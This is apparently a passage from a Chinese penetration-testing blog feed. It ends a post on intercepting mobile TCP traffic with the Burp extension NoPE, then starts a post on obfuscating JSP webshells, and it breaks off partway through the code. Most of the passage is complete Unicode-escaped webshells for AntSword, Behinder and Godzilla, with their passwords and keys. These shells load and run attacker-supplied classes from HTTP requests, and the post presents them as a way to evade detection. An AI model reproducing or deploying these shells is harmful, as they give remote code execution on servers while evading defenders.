<h2 id="HTTP-Proxy设置"><a href="#HTTP-Proxy设置" class="headerlink" title="HTTP Proxy设置"></a>HTTP Proxy设置</h2><p>设置完Server之后,在【NoPE Proxy】选项卡的【Server Config】中启动DNS服务,直接点击那个大大的绿色箭头就可以了,显示红色为已经运行。<br><img data-src="https://s2.loli.net/2023/04/05/57cIf4xiOXUeM2j.png"><br>查看【DNS History】选项卡中的DNS记录,获取Domain、Port等信息。</p>
<ol>
<li>开启Port Monitor;</li>
<li>在手机上进行操作,**<font color=red>手机DNS配置成PC的地址</font>**;</li>
<li>获取Domain和与其对应的Port。<br>在获取对应Port有可能会有点烦,我在获取Port的时候每次会有一堆的信息冒出来,导致并不知道那个Port跟domain是对应上的,所以点了好多次。<br><img data-src="https://s2.loli.net/2023/04/05/nzFV3mY65rxX4JL.png"><br>获取到Domain与Port之后,回到【Server Config】选项卡中,将信息填入到【Non HTTP Proxy Settings】中,例如我现在有了一个domain为xxxx.com,端口为8020,将其填入对应的地方进行添加,添加之后勾选Enable即可。<br><img data-src="https://s2.loli.net/2023/04/05/jLqe4rcFhNAJMdO.png"></li>
</ol>
<h2 id="拦截TCP流量"><a href="#拦截TCP流量" class="headerlink" title="拦截TCP流量"></a>拦截TCP流量</h2><p>通过上面的配置,现在已经可以通过NoPE拦截非HTTP协议的流量。在【TCP intercept】选项卡开启【Intercept is ON】,在手机上进行操作,就可以在下面看到对应的请求包。<br><img data-src="https://s2.loli.net/2023/04/05/FEPsGBU58cTSOgY.png"><br>由于我这边已经把包放过了,给大家看下历史记录的包。<br><img data-src="https://s2.loli.net/2023/04/05/OpXxq3YuKQeF8yG.png"></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>通过这种方式已经可以拦截到TCP的流量,但是通过NoPE感觉操作很繁琐。不知道有没有比的简单、优雅的方式?</p>
<p>[1]: <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3N1bW1pdHQvQnVycC1Ob24tSFRUUC1FeHRlbnNpb24vcmVsZWFzZXM=">https://github.com/summitt/Burp-Non-HTTP-Extension/releases<i class="fa fa-external-link-alt"></i></span> “NoPE下载地址”</p>
]]></content>
<categories>
<category>安全</category>
<category>渗透测试</category>
</categories>
<tags>
<tag>工具</tag>
</tags>
</entry>
<entry>
<title>Webshell混淆-jsp类型</title>
<url>/archives/a5dc99c.html</url>
<content><![CDATA[<p>由于现在常见的shell(蚁剑、冰蝎、哥斯拉等),极其容易被一眼识破。因此,需要掌握一定的webshell混淆技巧用于对抗。</p>
<p><img data-src="https://i.loli.net/2021/08/09/hPnfXdBZYzTb7Es.png" alt="antUnicode"></p>
<span id="more"></span>
<h1 id="编码"><a href="#编码" class="headerlink" title="编码"></a>编码</h1><p>根据不同的编码混淆webshell。下面提供不同编码下蚁剑、冰蝎、哥斯拉等shell。</p>
<h2 id="Unicode"><a href="#Unicode" class="headerlink" title="Unicode"></a>Unicode</h2><h3 id="蚁剑"><a href="#蚁剑" class="headerlink" title="蚁剑"></a>蚁剑</h3><p>蚁剑,密码ant</p>
<figure class="highlight jsp"><table><tr><td class="code"><pre><span class="line"><%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u0020\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0029\u0020\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0020\u0030\u002c\u0020\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u000a\u0020\u0020\u0020\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0074\u0072\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0073\u0074\u0072\u0020\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0042\u0061\u0073\u0065\u0036\u0034\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0073\u0074\u0072\u0020\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0065\u0029\u0020\u007b\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u007d</span><br><span class="line">%></span><br><span class="line"><%</span><br><span class="line">\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0061\u006e\u0074\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0063\u006c\u0073\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0063\u006c\u0073\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002c\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d</span><br><span class="line">%></span><br></pre></td></tr></table></figure>
<h3 id="冰蝎"><a href="#冰蝎" class="headerlink" title="冰蝎"></a>冰蝎</h3><p>冰蝎,密码rebeyond</p>
<figure class="highlight jsp"><table><tr><td class="code"><pre><span class="line"><%<span class="meta">@page</span> <span class="keyword">import</span>=<span class="string">"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.\u0073\u0070\u0065\u0063.*"</span>%><%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u0020\u005b\u005d\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0030\u002c\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u007d%><%\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028<span class="string">"POST"</span>\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006b\u003d<span class="string">"e45e329feb5d925b"</span>\u003b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0070\u0075\u0074\u0056\u0061\u006c\u0075\u0065\u0028<span class="string">"u"</span>\u002c\u006b\u0029\u003b\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028<span class="string">"AES"</span>\u0029\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u0032\u002c\u006e\u0065\u0077\u0020\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u006b\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c<span class="string">"AES"</span>\u0029\u0029\u003b\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u006e\u0065\u0077\u0020\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0028\u0029\u002e\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0029\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u007d%></span><br></pre></td></tr></table></figure>
<h3 id="哥斯拉"><a href="#哥斯拉" class="headerlink" title="哥斯拉"></a>哥斯拉</h3><p>哥斯拉,密码pass,密钥key</p>
<figure class="highlight jsp"><table><tr><td class="code"><pre><span class="line"><%! \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0078\u0063\u003d<span class="string">"3c6e0b8a9c15224a"</span>\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0070\u0061\u0073\u0073\u003d<span class="string">"pass"</span>\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u003d\u006d\u0064\u0035\u0028\u0070\u0061\u0073\u0073\u002b\u0078\u0063\u0029\u003b\u0020\u0063\u006c\u0061\u0073\u0073\u0020\u0058\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0058\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007a\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u007a\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0051\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0063\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0063\u0062\u002c\u0020\u0030\u002c\u0020\u0063\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u0020\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0078\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0073\u002c\u0062\u006f\u006f\u006c\u0065\u0061\u006e\u0020\u006d\u0029\u007b\u0020\u0074\u0072\u0079\u007b\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028<span class="string">"\u0041\u0045\u0053"</span>)\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u006d\u003f\u0031\u003a\u0032\u002c\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0073\u0070\u0065\u0063\u002e\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u0078\u0063\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c<span class="string">"\u0041\u0045\u0053"</span>\u0029\u0029\u003b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u0073\u0029\u003b\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u0020\u007d\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u0020\u006d\u003b\u006d\u0020\u003d\u0020\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028<span class="string">"\u004d\u0044\u0035"</span>\u0029\u003b\u006d\u002e\u0075\u0070\u0064\u0061\u0074\u0065\u0028\u0073\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0020\u0030\u002c\u0020\u0073\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u0029\u003b\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006d\u0061\u0074\u0068\u002e\u0042\u0069\u0067\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0031\u002c\u0020\u006d\u002e\u0064\u0069\u0067\u0065\u0073\u0074\u0028\u0029\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u002e\u0074\u006f\u0055\u0070\u0070\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0072\u0065\u0074\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028<span class="string">"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"</span>\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028<span class="string">"\u0067\u0065\u0074\u0045\u006e\u0063\u006f\u0064\u0065\u0072"</span>\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028<span class="string">"encodeToString"</span>\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028<span class="string">"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0072"</span>\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028<span class="string">"encode"</span>\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028<span class="string">"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"</span>\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028<span class="string">"getDecoder"</span>\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028<span 